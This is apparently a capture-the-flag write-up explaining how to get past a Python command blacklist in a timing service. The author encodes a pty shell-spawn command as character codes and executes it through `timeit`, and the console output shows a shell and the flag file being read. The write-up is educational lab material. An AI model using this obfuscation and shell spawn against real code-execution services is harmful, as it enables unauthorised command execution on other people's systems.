This one is a cool blacklist bypass. It's pretty simple. You are presented atext interface asking you to enter a python command.
```consoleType a command to time it!```
Trying some simple functions seem to work fine, but....
```consoleType a command to time it!print(1)Runtime: 1.09672546387e-05
Type a command to time it!import osHey, no hacking!```
...there seems to be a blacklist of characters that get screened before thecommand is run. We must obfuscate it somehow. By digging around, we can seeexactly what is in the blacklist and what isn't in the blacklist. Mostpeculiarly, `timeit` is **NOT** in the blacklist.
> Sidenote: it is hinted that `timeit` could be a possibility because it is> visible in the source whenever we provide invalid python code for the program> to execute.
```consoleType a command to time it!arstTraceback (most recent call last):  File "/timed.py", line 36, in <module>    time1=t.timeit(1)  File "/usr/lib/python2.7/timeit.py", line 202, in timeit    timing = self.inner(it, self.timer)  File "<timeit-src>", line 6, in inner    arstNameError: global name 'arst' is not definedRuntime: 0
Type a command to time it!12.,,Traceback (most recent call last):  File "/timed.py", line 31, in <module>    t=timeit.Timer(res)  File "/usr/lib/python2.7/timeit.py", line 129, in __init__    compile(setup + '\n' + stmt, dummy_src_name, "exec")  File "<timeit-src>", line 2    12.,,        ^SyntaxError: invalid syntax```
We can do something like the following in order to trick the program intoexecuting blacklisted commands:
```python# We want to execute the following pythonwant_exec = 'import pty;pty.spawn("/bin/bash")'# So we obfuscate it a bitobfuscated = [ord(x) for x in want_exec]# and we can just reverse it using a join-mapassert want_exec == ''.join(map(chr, obfuscated))
# Payload:timeit(''.join(map(chr, [105, ...])))```
By pasting the payload into the program, we get a shell:
```consoleType a command to time it!timeit(''.join(map(chr, [105, ...])))bash: /root/.bashrc: Permission deniednobody@c51f99923c23:/$ lslsbin   dev  flag.txt  lib    media  opt   root  sbin  sys       tmp  varboot  etc  home      lib64  mnt    proc  run   srv   timed.py  usrnobody@c51f99923c23:/$ cat flag.txtcat flag.txttjctf{iTs_T1m3_f0r_a_flaggg}```